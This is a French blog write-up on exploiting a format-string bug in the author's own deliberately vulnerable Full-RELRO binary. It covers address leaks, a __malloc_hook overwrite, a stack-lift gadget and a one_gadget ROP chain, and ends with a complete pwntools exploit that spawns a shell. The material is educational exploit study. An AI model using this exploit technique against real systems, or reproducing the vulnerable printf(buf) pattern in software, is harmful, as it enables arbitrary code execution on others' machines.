Exploitation d’une format string Full RELRO

Hier, je me suis dis que j’allais me remettre au PWN et pour ça quoi de mieux qu’un challenge de format string ?

Ni une ni deux je code un petit bout de programme assez simple :

#include <stdio.h>
#include <stdlib.h>

// gcc -m32 -g -Wl,-z,relro,-z,now -fPIE -pie -o main main.c

#define SIZE 4096

void main() {
	char buf[SIZE];
	
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);

	while(1) {
		read(STDIN_FILENO, buf, SIZE-1);
		printf(buf);
	}
}

Les binaires utilisés sont disponibles ici :

Clairement, le bout de code suivant est vulnérable aux format string :

read(STDIN_FILENO, buf, SIZE-1);
printf(buf);

Dans la suite de ce blogpost, je vais supposer que :

Step 1 : Le leak

Hé oui, notre Linux à l’ASLR d’activé sinon ce ne serait pas drôle !

Donc on va partir sur un leak des familles dans le but de leaker la base de la libc, pie et la stack.

Pour ce faire, on va chercher dans la stack les addresses qui commencent par :

p = process(PROCESS)

for i in range(1,1000):
    value = send_recv("%" + str(i) + "$08x")[:8]
    log.info(str(i).rjust(3,'0') +" => "+ value)

log.info("PID :" + str(p.pid))
raw_input()
p.interactive()

Ce qui nous affiche :

[+] Starting local process './main': pid 12135
[*] 001 => ffa17f7c
    ...
[*] 196 => f7ea9000
    ...
[*] 301 => 565c32cd
[*] PID :12135

On s’y attache avec gdb-gef et on récupère les différentes adresses de base des sections :

gdb -q -p 12135
gef➤  vmmap
0x565c3000 0x565c4000 0x00000000 r-- /home/romain/Documents/Pwn/Format/main
...
0xf7cc4000 0xf7ce1000 0x00000000 r-- /usr/lib32/libc-2.30.so
...
0xff9f9000 0xffa1a000 0x00000000 rw- [stack]

On peut calculer nos adresses avec le code suivant :

p = process(PROCESS)

# Leaking libc base
libc_offset = 0xf7ea9000 - 0xf7cc4000
libc_leak = send_recv("%196$08x") # 196 => leak d'une addresse de la libc
libc_leak = int(libc_leak[:8], 16)
libc.address = libc_leak - libc_offset

# Leaking elf base
elf_offset  = 0x565c32cd - 0x565c3000
elf_leak = send_recv("%301$08x") # 301 => leak d'une addresse de la pie
elf_leak = int(elf_leak[:8], 16)
elf.address = elf_leak - elf_offset

# Leaking stack base
stack_offset = 0xffa17f7c - 0xffacf000 
stack_leak = send_recv("%1$08x") # 1 => leak d'une addresse de la stack
stack_leak = int(stack_leak[:8], 16)
stack_base = (stack_leak - stack_offset) & 0xfffff000

Step 2 : __malloc_hook kesako ?

Notre but maintenant est de pouvoir réécrire une adresse afin de changer le flux d’éxecution.

Malheureusement, écrire une ROP dans la stack n’est pas possible parcequ’on est dans un while(1) et qu’on ne passera jamais sur un ret. Il n’est pas possible non plus de réécrire une adresse de la GOT afin de la faire pointer sur system().

C’est la que viens un trick plutôt connu, plusieurs fonctions hook de la libc son réinscriptible même en Full RELRO : https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html

Donc en gros on peut controler __malloc_hook qui sera éxecuté si un malloc est éxecuté.

Là vous allez me dire “Mais, t’as pas de malloc dans ton programme lel !”.

Let’s dig into printf internals

Si on creuse dans le code de printf, il existe des cas ou printf va appeler malloc et donc trigg notre __malloc_hook.

Pour que ça trigg malloc, il faut que la chaine soit supérieur à SIZE_MAX soit 65537.

Donc un simple printf("%65537c") suffit à appeler un malloc.

Réécriture de __malloc_hook

Pour finir on va exploiter la format string afin de réécrire le __malloc_hook.

Comme je suis un petit flemmard, je vais utiliser les outils intégrés à pwntool qui va se charger de tout faire à notre place :

fmt = FmtStr(send_recv, 7)
fmt.write( libc.symbols['__malloc_hook'], 0x41414141 )
fmt.execute_writes()
send_recv("%65537c")

et bim et bam et boum :

─────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414141
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "main", stopped, reason: SIGSEGV

À la recherche du one_gadget

Lorsque __malloc_hook va être appelé, nous ne contrôlerons pas ses paramêtres, c’est pour ça qu’il est important de trouver un moyen d’appeler une fonction ou un bout de code ne prenant pas de paramètres.

Si une fonction win() définit comme la suivante existait, il serait simple de remplacer __malloc_hook par win() :

void win(){
    system("/bin/bash");
}

Malheureusement dans notre cas, il n’y en a pas. Il va donc falloir se tourner vers une one_gadget.

Un one_gadget est un gadget qui, si les conditions sont remplient, va permettre d’éxecuter /bin/sh, exemple :

0x1438a3 execl("/bin/sh", eax)
            constraints:
                ebp is the GOT address of libc
                eax == NULL

Pour trouver les one_gadget, il suffit de faire un gem install one_gadget. En lui passant la libc utilisée par le binaire, dans mon cas j’obtiens l’output suivant :

➜  one_gadget /usr/lib32/libc.so.6
0x1438a3 execl("/bin/sh", eax)
constraints:
  ebp is the GOT address of libc
  eax == NULL

0x1438a4 execl("/bin/sh", [esp])
constraints:
  ebp is the GOT address of libc
  [esp] == NULL

J’ai donc deux gadgets, un avec une condition telle que eax == NULL et l’autre avec une condition telle que [esp] == NULL.

Dans mon cas aucun des deux n’est utilisable car aucune des conditions n’est rempli à l’appel du __malloc_hook

C’est la que @Tomtombinary m’a soufflé une idée.

Step 3 : Un ptit coup d’ascensceur

L’idée était plutôt simple, trouver dans la libc un gadget qui fait du stack lifting.

Vu que je n’ai pas la possiblité de modifier de faire une ROP par manque de ret dans mon while(1), trouver un moyen de le générer et de contrôler la stack à ce moment précis.

C’est là qu’un gadget particulier intervient :

0x00035714 : add esp, 0x12c ; ret

En gros, si je défini __malloc_hook sur libc_base + 0x00035714. Je peux faire une ROP à l’adresse d'esp+0x12c au moment où __malloc_hook sera appelé contenant mon one_gadget et un gadget mettant en place une condition :

Et voilà j’ai ma RCE, peut être un peu plus difficilement que je l’avais prévu.

Exploit final :

Pour l’exploitation final, j’ai du rajouter un bruteforce et une retsled ( enchainement de ret similaire à une nopsled mais utile pour les ROP) car je pense que les variables d’environnement changeaient la configuration de la stack.

#!/usr/bin/python2.7
from pwn import *

context.arch = "x86"
PROCESS = "./main"

elf  = ELF(PROCESS)
libc = elf.libc

p = None

def send_recv(str, debug = False):
    global p
    p.sendline(str)
    val = p.recv()
    if(debug):
        print(len(str))
        print(repr(str))
        log.info(val)
    return val

def main():
    global p
    # p = process(PROCESS,aslr = False)
    
    # C'est crade mais osef
    while True:
        try:
            p = process(PROCESS,env={})


            # Leaking libc base
            libc_offset = 0xf7f60000 - 0xf7d7b000
            libc_leak = send_recv("%196$08x") # 196 => leak d'une addresse de la libc
            libc_leak = int(libc_leak[:8], 16)
            libc.address = libc_leak - libc_offset
            
            # Leaking elf base
            elf_offset  = 0x566052cd - 0x56605000
            elf_leak = send_recv("%301$08x") # 301 => leak d'une addresse de la pie
            elf_leak = int(elf_leak[:8], 16)
            elf.address = elf_leak - elf_offset
            
            # Leaking stack base
            stack_offset = 0xffffbfec - 0xfffdd000 
            stack_leak = send_recv("%1$08x") # 1 => leak d'une addresse de la stack
            stack_leak = int(stack_leak[:8], 16)
            stack_base = (stack_leak - stack_offset) & 0xfffff000


            # 0x00035714 : add esp, 0x12c ; ret
            stack_lift_gadget = libc.address + 0x00035714
            
            # 0x0001d22c : ret
            ret_gadget = libc.address + 0x0001d22c
            offset_ret = 0xffff9548 - 0xfffdd000

            log.info("libc base      @ " + hex(libc.address))
            log.info("elf  base      @ " + hex(elf.address))
            log.info("stack  base    @ " + hex(stack_base))
            log.info("ret lift addr  @ " + hex(stack_base + offset_ret))
            log.info("stack lift     @ " + hex(stack_lift_gadget))
            log.info("__malloc_hook  @ " + hex(libc.symbols['__malloc_hook']))
            
            # Paddind de la fmt a 7
            # fmt = FmtStr(send_recv)
            fmt = FmtStr(send_recv, 7)
            
            
            # Ecriture ret_sled
            ret_sled_length = 30
            for i in range(ret_sled_length):
                fmt.write(stack_base + offset_ret + i * 4, ret_gadget)


            # one gadget dans la stack tmtc
            # 0x00032480 : xor eax, eax ; ret

            xor_eax = libc.address + 0x00032480
            
            '''
            0x1438a3 execl("/bin/sh", eax)
            constraints:
                ebp is the GOT address of libc
                eax == NULL
            '''
            
            # Ecriture de la ROP
            fmt.write(stack_base + offset_ret + (ret_sled_length+0) * 4, xor_eax ) 
            fmt.write(stack_base + offset_ret + (ret_sled_length+1) * 4, libc.address + 0x1438a3 )

            # Ecriture du gadget stack_lifting
            fmt.write(libc.symbols['__malloc_hook'], stack_lift_gadget)
            fmt.execute_writes()

            log.info("PID : " + str(p.pid))

            p.sendline('%65537c')
            p.clean()    

            p.sendline('id')
            print(p.recv())
            p.interactive()
        except:
            pass

if __name__ == '__main__':
    main()

Pour toute questions n’hésitez pas à me contacter sur Twitter :)